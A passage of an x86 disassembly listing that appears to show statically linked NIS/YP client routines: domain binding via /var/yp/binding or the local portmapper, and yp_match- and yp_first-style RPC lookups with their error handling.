		jmp	loc_805D2E6
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805CF34:				; CODE XREF: sub_805CE84+A3j
		mov	esi, ds:dword_807EB94
		test	esi, esi
		jz	short loc_805CF5E
		lea	esi, [esi]

loc_805CF40:				; CODE XREF: sub_805CE84+D4j
		lea	edx, [esi+4]
		push	edx
		mov	edi, [ebp+arg_0]
		push	edi
		call	sub_8057ADC
		add	esp, 8
		test	eax, eax
		jz	short loc_805CF5A
		mov	esi, [esi]
		test	esi, esi
		jnz	short loc_805CF40

loc_805CF5A:				; CODE XREF: sub_805CE84+CEj
		test	esi, esi
		jnz	short loc_805CF96

loc_805CF5E:				; CODE XREF: sub_805CE84+B8j
		push	12Ch
		call	malloc
		mov	esi, eax
		push	12Ch
		push	esi
		call	sub_806626C
		mov	dword ptr [esi+11Ch], 0FFFFFFFFh
		mov	dword ptr [esi+128h], 0
		mov	[ebp+var_44C], 1
		add	esp, 0Ch

loc_805CF96:				; CODE XREF: sub_805CE84+D8j
					; sub_805CE84+1B1j ...
		cmp	dword ptr [esi+128h], 0
		jnz	loc_805D084
		push	2
		mov	edi, [ebp+arg_0]
		push	edi
		push	offset aVarYpBinding ; "/var/yp/binding"
		push	offset aSS_D	; "%s/%s.%d"
		lea	ebx, [ebp+var_41C]
		push	ebx
		call	sprintf
		push	0
		push	ebx
		call	open
		mov	ebx, eax
		add	esp, 1Ch
		test	ebx, ebx
		jl	loc_805D084
		lea	edi, [ebp+var_43A]
		mov	[ebp+var_42C], edi
		mov	[ebp+var_428], 2
		lea	edi, [ebp+var_438]
		mov	[ebp+var_424], edi
		mov	[ebp+var_420], 0Ch
		push	2
		lea	edx, [ebp+var_42C]
		push	edx
		push	ebx
		call	sub_8065E1C
		mov	edx, [ebp+var_428]
		add	edx, [ebp+var_420]
		add	esp, 0Ch
		cmp	eax, edx
		jz	short loc_805D03C
		push	ebx
		call	close
		mov	dword ptr [esi+128h], 0FFFFFFFFh
		add	esp, 4
		jmp	loc_805CF96
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805D03C:				; CODE XREF: sub_805CE84+19Cj
		push	10h
		lea	edx, [esi+108h]
		push	edx
		call	sub_806626C
		mov	word ptr [esi+108h], 2
		mov	edx, [ebp+var_434]
		mov	[esi+10Ch], edx
		mov	dx, [ebp+var_430]
		mov	[esi+10Ah], dx
		mov	[esi+118h], dx
		push	ebx
		call	close
		add	esp, 0Ch
		jmp	loc_805D1FD
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805D084:				; CODE XREF: sub_805CE84+119j
					; sub_805CE84+14Aj
		mov	edx, [esi+128h]
		inc	edx
		cmp	edx, 1
		ja	loc_805D217
		push	10h
		lea	ebx, [ebp+var_1C]
		push	ebx
		call	sub_806626C
		mov	[ebp+var_1C], 2
		add	esp, 8
		mov	[ebp+var_18], 100007Fh
		mov	[ebp+var_440], 0FFFFFFFFh
		push	0
		push	0
		lea	edx, [ebp+var_440]
		push	edx
		push	2
		push	186A7h
		push	ebx
		call	sub_8063B04
		mov	ebx, eax
		add	esp, 18h
		test	ebx, ebx
		jz	short loc_805D12B
		mov	edi, ds:dword_8069030
		mov	[ebp+var_448], edi
		mov	[ebp+var_444], 0
		mov	edx, [ebx+4]
		push	[ebp+var_444]
		push	[ebp+var_448]
		lea	ecx, [ebp+var_C]
		push	ecx
		push	offset sub_8066800
		mov	edi, [ebp+arg_0]
		push	edi
		push	offset sub_8066464
		push	1
		push	ebx
		mov	edx, [edx]
		call	edx
		add	esp, 20h
		test	eax, eax
		jz	short loc_805D144
		mov	edx, [ebx+4]
		push	ebx
		mov	edx, [edx+10h]
		call	edx
		add	esp, 4

loc_805D12B:				; CODE XREF: sub_805CE84+254j
		cmp	[ebp+var_44C], 0
		jz	short loc_805D13A
		push	esi
		call	free

loc_805D13A:				; CODE XREF: sub_805CE84+2AEj
		mov	eax, 0Ah
		jmp	loc_805D2E6
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805D144:				; CODE XREF: sub_805CE84+299j
		mov	edx, [ebx+4]
		push	ebx
		mov	edx, [edx+10h]
		call	edx
		add	esp, 4
		cmp	[ebp+var_C], 1
		jz	short loc_805D1C4
		mov	edx, [ebp+var_8]
		cmp	edx, 2
		jz	short loc_805D178
		ja	short loc_805D168
		cmp	edx, 1
		jz	short loc_805D170
		jmp	short loc_805D198
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805D168:				; CODE XREF: sub_805CE84+2DAj
		cmp	edx, 3
		jz	short loc_805D190
		jmp	short loc_805D198
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805D170:				; CODE XREF: sub_805CE84+2DFj
		push	offset aYpbindproc_dom ; "YPBINDPROC_DOMAIN: Internal error\n"
		jmp	short loc_805D19D
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805D178:				; CODE XREF: sub_805CE84+2D8j
		mov	edi, [ebp+arg_0]
		push	edi
		push	offset aYpbindproc_d_0 ; "YPBINDPROC_DOMAIN: No	bound server for "...
		push	offset unk_80787A4
		call	fprintf
		add	esp, 0Ch
		jmp	short loc_805D1AA
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805D190:				; CODE XREF: sub_805CE84+2E7j
		push	offset aYpbindproc_d_1 ; "YPBINDPROC_DOMAIN: Resource allocation "...
		jmp	short loc_805D19D
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805D198:				; CODE XREF: sub_805CE84+2E1j
					; sub_805CE84+2E9j
		push	offset aYpbindproc_d_2 ; "YPBINDPROC_DOMAIN: Unknown error\n"

loc_805D19D:				; CODE XREF: sub_805CE84+2F1j
					; sub_805CE84+311j
		push	offset unk_80787A4
		call	fprintf
		add	esp, 8

loc_805D1AA:				; CODE XREF: sub_805CE84+30Aj
		cmp	[ebp+var_44C], 0
		jz	short loc_805D1B9
		push	esi
		call	free

loc_805D1B9:				; CODE XREF: sub_805CE84+32Dj
		mov	eax, 3
		jmp	loc_805D2E6
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805D1C4:				; CODE XREF: sub_805CE84+2D0j
		push	10h
		lea	edx, [esi+108h]
		push	edx
		call	sub_806626C
		mov	word ptr [esi+108h], 2
		mov	dx, [ebp+var_4]
		mov	[esi+10Ah], dx
		mov	edx, [ebp+var_8]
		mov	[esi+10Ch], edx
		mov	dx, [ebp+var_4]
		mov	[esi+118h], dx
		add	esp, 8

loc_805D1FD:				; CODE XREF: sub_805CE84+1F9j
		mov	dword ptr [esi+128h], 2
		mov	edi, [ebp+arg_0]
		push	edi
		lea	edx, [esi+4]
		push	edx
		call	strcpy
		add	esp, 8

loc_805D217:				; CODE XREF: sub_805CE84+20Aj
		mov	edx, ds:dword_8069030
		shr	edx, 1Fh
		add	edx, ds:dword_8069030
		sar	edx, 1
		mov	[ebp+var_448], edx
		mov	[ebp+var_444], 0
		cmp	dword ptr [esi+120h], 0
		jz	short loc_805D254
		mov	edx, [esi+120h]
		mov	ecx, [edx+4]
		push	edx
		mov	edx, [ecx+10h]
		call	edx
		add	esp, 4

loc_805D254:				; CODE XREF: sub_805CE84+3BCj
		mov	dword ptr [esi+11Ch], 0FFFFFFFFh
		lea	edx, [esi+11Ch]
		push	edx
		push	[ebp+var_444]
		push	[ebp+var_448]
		push	2
		push	186A4h
		lea	edx, [esi+108h]
		push	edx
		call	sub_8064400
		mov	[esi+120h], eax
		add	esp, 18h
		test	eax, eax
		jnz	short loc_805D2A0
		mov	dword ptr [esi+128h], 0FFFFFFFFh
		jmp	loc_805CF96
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805D2A0:				; CODE XREF: sub_805CE84+40Bj
		push	1
		push	2
		mov	edx, [esi+11Ch]
		push	edx
		call	fcntl
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_805D2C2
		push	offset aFcntlF_setfd ; "fcntl: F_SETFD"
		call	sub_80625DC

loc_805D2C2:				; CODE XREF: sub_805CE84+432j
		cmp	[ebp+var_44C], 0
		jz	short loc_805D2D9
		mov	edx, ds:dword_807EB94
		mov	[esi], edx
		mov	ds:dword_807EB94, esi

loc_805D2D9:				; CODE XREF: sub_805CE84+445j
		cmp	[ebp+arg_4], 0
		jz	short loc_805D2E4
		mov	edi, [ebp+arg_4]
		mov	[edi], esi

loc_805D2E4:				; CODE XREF: sub_805CE84+459j
		xor	eax, eax

loc_805D2E6:				; CODE XREF: sub_805CE84+AAj
					; sub_805CE84+2BBj ...
		lea	esp, [ebp+var_45C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_805CE84	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_805D2F4	proc near		; CODE XREF: sub_805D3A8+17Ep
					; sub_805D3A8+23Fp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_0]
		mov	eax, [ebx+120h]
		mov	edx, [eax+4]
		push	eax
		mov	eax, [edx+10h]
		call	eax
		mov	dword ptr [ebx+120h], 0
		mov	dword ptr [ebx+11Ch], 0FFFFFFFFh
		mov	ebx, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_805D2F4	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_805D328	proc near		; CODE XREF: sub_805E0A8+4Ap

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	0
		push	eax
		call	sub_805CE84
		mov	esp, ebp
		pop	ebp
		retn
sub_805D328	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_805D33C	proc near

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		mov	ebx, ds:dword_807EB94
		test	ebx, ebx
		jz	short loc_805D39C
		db 8Dh,76h,0 ; <BAD> lea     esi, [esi+0]

loc_805D354:				; CODE XREF: sub_805D33C+5Ej
		lea	eax, [ebx+4]
		push	eax
		push	edi
		call	sub_8057ADC
		add	esp, 8
		test	eax, eax
		jnz	short loc_805D394
		mov	eax, [ebx+120h]
		mov	edx, [eax+4]
		push	eax
		mov	eax, [edx+10h]
		call	eax
		add	esp, 4
		test	esi, esi
		jz	short loc_805D384
		mov	eax, [ebx]
		mov	[esi], eax
		jmp	short loc_805D38B
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805D384:				; CODE XREF: sub_805D33C+3Dj
		mov	eax, [ebx]
		mov	ds:dword_807EB94, eax

loc_805D38B:				; CODE XREF: sub_805D33C+43j
		push	ebx
		call	free
		jmp	short loc_805D39C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805D394:				; CODE XREF: sub_805D33C+27j
		mov	esi, ebx
		mov	ebx, [ebx]
		test	ebx, ebx
		jnz	short loc_805D354

loc_805D39C:				; CODE XREF: sub_805D33C+13j
					; sub_805D33C+55j
		lea	esp, [ebp+var_C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_805D33C	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_805D3A8	proc near		; CODE XREF: _getnishost+53p

var_38		= byte ptr -38h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		push	edi
		push	esi
		push	ebx
		mov	[ebp+var_24], 0
		cmp	[ebp+arg_0], 0
		jz	short loc_805D3E8
		mov	esi, [ebp+arg_0]
		cmp	byte ptr [esi],	0
		jz	short loc_805D3E8
		cmp	[ebp+arg_4], 0
		jz	short loc_805D3E8
		mov	esi, [ebp+arg_4]
		cmp	byte ptr [esi],	0
		jz	short loc_805D3E8
		cmp	[ebp+arg_8], 0
		jz	short loc_805D3E8
		cmp	[ebp+arg_C], 0
		jz	short loc_805D3E8
		mov	esi, [ebp+arg_8]
		cmp	byte ptr [esi],	0
		jnz	short loc_805D3F4

loc_805D3E8:				; CODE XREF: sub_805D3A8+14j
					; sub_805D3A8+1Cj ...
		mov	eax, 1
		jmp	loc_805D5EE
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805D3F4:				; CODE XREF: sub_805D3A8+3Ej
		mov	esi, [ebp+arg_10]
		mov	dword ptr [esi], 0
		mov	esi, [ebp+arg_14]
		mov	dword ptr [esi], 0

loc_805D406:				; CODE XREF: sub_805D3A8+192j
		lea	edx, [ebp+var_20]
		push	edx
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_805CE84
		mov	ebx, eax
		add	esp, 8
		test	ebx, ebx
		jnz	loc_805D5EE
		mov	esi, [ebp+arg_0]
		push	esi
		push	offset byte_807E358
		call	sub_8057ADC
		add	esp, 8
		test	eax, eax
		jnz	short loc_805D4A0
		lea	edx, [ebp+var_4]
		push	edx
		lea	edx, [ebp+var_8]
		push	edx
		mov	esi, [ebp+arg_C]
		push	esi
		mov	esi, [ebp+arg_8]
		push	esi
		mov	esi, [ebp+arg_4]
		push	esi
		call	sub_805CDF0
		add	esp, 14h
		test	eax, eax
		jz	short loc_805D4A0
		mov	edx, [ebp+var_4]
		mov	esi, [ebp+arg_14]
		mov	[esi], edx
		mov	edx, [esi]
		add	edx, 2
		push	edx
		call	malloc
		mov	esi, [ebp+arg_10]
		mov	[esi], eax
		mov	esi, [ebp+arg_14]
		mov	edx, [esi]
		push	edx
		push	eax
		mov	edx, [ebp+var_8]
		push	edx
		call	bcopy
		mov	esi, [ebp+arg_10]
		mov	ecx, [esi]
		mov	esi, [ebp+arg_14]
		mov	edx, [esi]
		mov	byte ptr [edx+ecx], 0Ah
		mov	ecx, [esi]
		mov	esi, [ebp+arg_10]
		mov	edx, [esi]
		mov	byte ptr [edx+ecx+1], 0
		xor	eax, eax
		jmp	loc_805D5EE
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805D4A0:				; CODE XREF: sub_805D3A8+8Bj
					; sub_805D3A8+ABj
		mov	esi, ds:dword_8069030
		mov	[ebp+var_2C], esi
		mov	[ebp+var_28], 0
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_1C], esi
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_18], esi
		mov	esi, [ebp+arg_8]
		mov	[ebp+var_14], esi
		mov	esi, [ebp+arg_C]
		mov	[ebp+var_10], esi
		push	0Ch
		lea	ebx, [ebp+var_C]
		push	ebx
		call	sub_806626C
		mov	edx, [ebp+var_20]
		mov	ecx, [edx+120h]
		mov	eax, [ecx+4]
		push	[ebp+var_28]
		push	[ebp+var_2C]
		push	ebx
		push	offset sub_80665A0
		lea	edx, [ebp+var_1C]
		push	edx
		push	offset sub_8066514
		push	3
		push	ecx
		mov	edx, [eax]
		call	edx
		mov	ebx, eax
		add	esp, 28h
		test	ebx, ebx
		jz	short loc_805D54C
		push	offset aYp_matchClnt_c ; "yp_match: clnt_call"
		mov	edx, [ebp+var_20]
		mov	edx, [edx+120h]
		push	edx
		call	sub_8063894
		mov	edx, [ebp+var_20]
		mov	dword ptr [edx+128h], 0FFFFFFFFh
		push	edx
		call	sub_805D2F4
		add	esp, 0Ch
		mov	edx, [ebp+var_24]
		inc	[ebp+var_24]
		cmp	ds:dword_8069034, edx
		jg	loc_805D406
		mov	eax, 2
		jmp	loc_805D5EE
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805D54C:				; CODE XREF: sub_805D3A8+15Aj
		mov	edx, [ebp+var_C]
		push	edx
		call	sub_805DFE0
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_805D5D5
		mov	edx, [ebp+var_4]
		mov	esi, [ebp+arg_14]
		mov	[esi], edx
		mov	edx, [esi]
		add	edx, 2
		push	edx
		call	malloc
		mov	esi, [ebp+arg_10]
		mov	[esi], eax
		mov	esi, [ebp+arg_14]
		mov	edx, [esi]
		push	edx
		push	eax
		mov	edx, [ebp+var_8]
		push	edx
		call	bcopy
		mov	esi, [ebp+arg_10]
		mov	ecx, [esi]
		mov	esi, [ebp+arg_14]
		mov	edx, [esi]
		mov	byte ptr [edx+ecx], 0Ah
		mov	ecx, [esi]
		mov	esi, [ebp+arg_10]
		mov	edx, [esi]
		mov	byte ptr [edx+ecx+1], 0
		mov	esi, [ebp+arg_0]
		push	esi
		push	offset byte_807E358
		call	sub_8057ADC
		add	esp, 18h
		test	eax, eax
		jnz	short loc_805D5D5
		mov	esi, [ebp+arg_14]
		mov	edx, [esi]
		push	edx
		mov	esi, [ebp+arg_10]
		mov	edx, [esi]
		push	edx
		mov	esi, [ebp+arg_C]
		push	esi
		mov	esi, [ebp+arg_8]
		push	esi
		mov	esi, [ebp+arg_4]
		push	esi
		call	sub_805CCB0
		add	esp, 14h

loc_805D5D5:				; CODE XREF: sub_805D3A8+1B4j
					; sub_805D3A8+20Bj
		lea	edx, [ebp+var_C]
		push	edx
		push	offset sub_80665A0
		call	sub_8064E74
		mov	edx, [ebp+var_20]
		push	edx
		call	sub_805D2F4
		mov	eax, ebx

loc_805D5EE:				; CODE XREF: sub_805D3A8+45j
					; sub_805D3A8+72j ...
		lea	esp, [ebp+var_38]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_805D3A8	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_805D5F8	proc near		; CODE XREF: _getnishost+1Dp
					; sub_805E0A8+19p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_0]
		mov	dword ptr [ebx], 0
		cmp	ds:byte_807E358, 0
		jnz	short loc_805D628
		push	40h
		push	offset byte_807E358
		call	sub_8065C84
		test	eax, eax
		jz	short loc_805D628
		mov	eax, 0Ch
		jmp	short loc_805D630
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805D628:				; CODE XREF: sub_805D5F8+14j
					; sub_805D5F8+24j
		mov	dword ptr [ebx], offset	byte_807E358
		xor	eax, eax

loc_805D630:				; CODE XREF: sub_805D5F8+2Bj
		mov	ebx, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_805D5F8	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_805D638	proc near		; CODE XREF: _getnishost+82p

var_38		= byte ptr -38h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		push	edi
		push	esi
		push	ebx
		mov	[ebp+var_24], 0
		mov	esi, [ebp+arg_10]
		mov	dword ptr [esi], 0
		mov	esi, [ebp+arg_8]
		mov	dword ptr [esi], 0
		mov	esi, [ebp+arg_14]
		mov	dword ptr [esi], 0
		mov	esi, [ebp+arg_C]
		mov	dword ptr [esi], 0
		cmp	[ebp+arg_0], 0
		jz	short loc_805D688
		mov	esi, [ebp+arg_0]
		cmp	byte ptr [esi],	0
		jz	short loc_805D688
		cmp	[ebp+arg_4], 0
		jz	short loc_805D688
		mov	esi, [ebp+arg_4]
		cmp	byte ptr [esi],	0
		jnz	short loc_805D694

loc_805D688:				; CODE XREF: sub_805D638+38j
					; sub_805D638+40j ...
		mov	eax, 1
		jmp	loc_805D80A
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805D694:				; CODE XREF: sub_805D638+4Ej
					; sub_805D638+10Aj
		lea	edx, [ebp+var_18]
		push	edx
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_805CE84
		add	esp, 8
		test	eax, eax
		jz	short loc_805D6B4
		mov	eax, 3
		jmp	loc_805D80A
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805D6B4:				; CODE XREF: sub_805D638+6Ej
		mov	esi, ds:dword_8069030
		mov	[ebp+var_2C], esi
		mov	[ebp+var_28], 0
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_20], esi
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_1C], esi
		push	14h
		lea	ebx, [ebp+var_14]
		push	ebx
		call	sub_806626C
		mov	edx, [ebp+var_18]
		mov	ecx, [edx+120h]
		mov	eax, [ecx+4]
		push	[ebp+var_28]
		push	[ebp+var_2C]
		push	ebx
		push	offset sub_80665DC
		lea	edx, [ebp+var_20]
		push	edx
		push	offset sub_8066564
		push	4
		push	ecx
		mov	edx, [eax]
		call	edx
		mov	ebx, eax
		add	esp, 28h
		test	ebx, ebx
		jz	short loc_805D754
		push	offset aYp_firstClnt_c ; "yp_first: clnt_call"
		mov	edx, [ebp+var_18]
		mov	edx, [edx+120h]
		push	edx
		call	sub_8063894
		mov	edx, [ebp+var_18]
		mov	dword ptr [edx+128h], 0FFFFFFFFh
		push	edx
		call	sub_805D2F4
		add	esp, 0Ch
		mov	edx, [ebp+var_24]
		inc	[ebp+var_24]
		cmp	ds:dword_8069034, edx
		jg	loc_805D694
		mov	eax, 2
		jmp	loc_805D80A
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805D754:				; CODE XREF: sub_805D638+D2j
		mov	edx, [ebp+var_14]
		push	edx
		call	sub_805DFE0
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	loc_805D7F1
		mov	edx, [ebp+var_C]
		mov	esi, [ebp+arg_C]
		mov	[esi], edx
		mov	edx, [esi]
		add	edx, 2
		push	edx
		call	malloc
		mov	esi, [ebp+arg_8]
		mov	[esi], eax
		mov	esi, [ebp+arg_C]
		mov	edx, [esi]
		push	edx
		push	eax
		mov	edx, [ebp+var_10]
		push	edx
		call	bcopy
		mov	esi, [ebp+arg_8]
		mov	ecx, [esi]
		mov	esi, [ebp+arg_C]
		mov	edx, [esi]
		mov	byte ptr [edx+ecx], 0Ah
		mov	ecx, [esi]
		mov	esi, [ebp+arg_8]
		mov	edx, [esi]
		mov	byte ptr [edx+ecx+1], 0
		mov	edx, [ebp+var_4]
		mov	esi, [ebp+arg_14]
		mov	[esi], edx
		mov	edx, [esi]
		add	edx, 2
		push	edx
		call	malloc
		mov	esi, [ebp+arg_10]
		mov	[esi], eax
		mov	esi, [ebp+arg_14]
		mov	edx, [esi]
		push	edx
		push	eax
		mov	edx, [ebp+var_8]
		push	edx
		call	bcopy
		mov	esi, [ebp+arg_10]
		mov	ecx, [esi]
		mov	esi, [ebp+arg_14]
		mov	edx, [esi]
		mov	byte ptr [edx+ecx], 0Ah
		mov	ecx, [esi]
		mov	esi, [ebp+arg_10]
		mov	edx, [esi]
		mov	byte ptr [edx+ecx+1], 0
		add	esp, 20h

loc_805D7F1:				; CODE XREF: sub_805D638+12Cj
		lea	edx, [ebp+var_14]
		push	edx
		push	offset sub_80665DC
		call	sub_8064E74
		mov	edx, [ebp+var_18]
		push	edx
		call	sub_805D2F4
		mov	eax, ebx

loc_805D80A:				; CODE XREF: sub_805D638+55j
					; sub_805D638+75j ...
		lea	esp, [ebp+var_38]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_805D638	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_805D814	proc near		; CODE XREF: _getnishost+C1p

var_40		= byte ptr -40h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	edi
		push	esi
		push	ebx
		mov	[ebp+var_2C], 0
		cmp	[ebp+arg_0], 0
		jz	short loc_805D854
		mov	esi, [ebp+arg_0]
		cmp	byte ptr [esi],	0
		jz	short loc_805D854
		cmp	[ebp+arg_4], 0
		jz	short loc_805D854
		mov	esi, [ebp+arg_4]
		cmp	byte ptr [esi],	0
		jz	short loc_805D854
		cmp	[ebp+arg_8], 0
		jz	short loc_805D854
		cmp	[ebp+arg_C], 0
		jz	short loc_805D854
		mov	esi, [ebp+arg_8]
		cmp	byte ptr [esi],	0
		jnz	short loc_805D860

loc_805D854:				; CODE XREF: sub_805D814+14j
					; sub_805D814+1Cj ...
		mov	eax, 1
		jmp	loc_805DA06
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805D860:				; CODE XREF: sub_805D814+3Ej
		mov	esi, [ebp+arg_18]
		mov	dword ptr [esi], 0
		mov	esi, [ebp+arg_10]
		mov	dword ptr [esi], 0
		mov	esi, [ebp+arg_1C]
		mov	dword ptr [esi], 0
		mov	esi, [ebp+arg_14]
		mov	dword ptr [esi], 0

loc_805D884:				; CODE XREF: sub_805D814+12Aj
		lea	edx, [ebp+var_28]
		push	edx
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_805CE84
		add	esp, 8
		test	eax, eax
		jz	short loc_805D8A4
		mov	eax, 3
		jmp	loc_805DA06
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805D8A4:				; CODE XREF: sub_805D814+82j
		mov	esi, ds:dword_8069030
		mov	[ebp+var_34], esi
		mov	[ebp+var_30], 0
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_24], esi
		mov	esi, [ebp+arg_4]
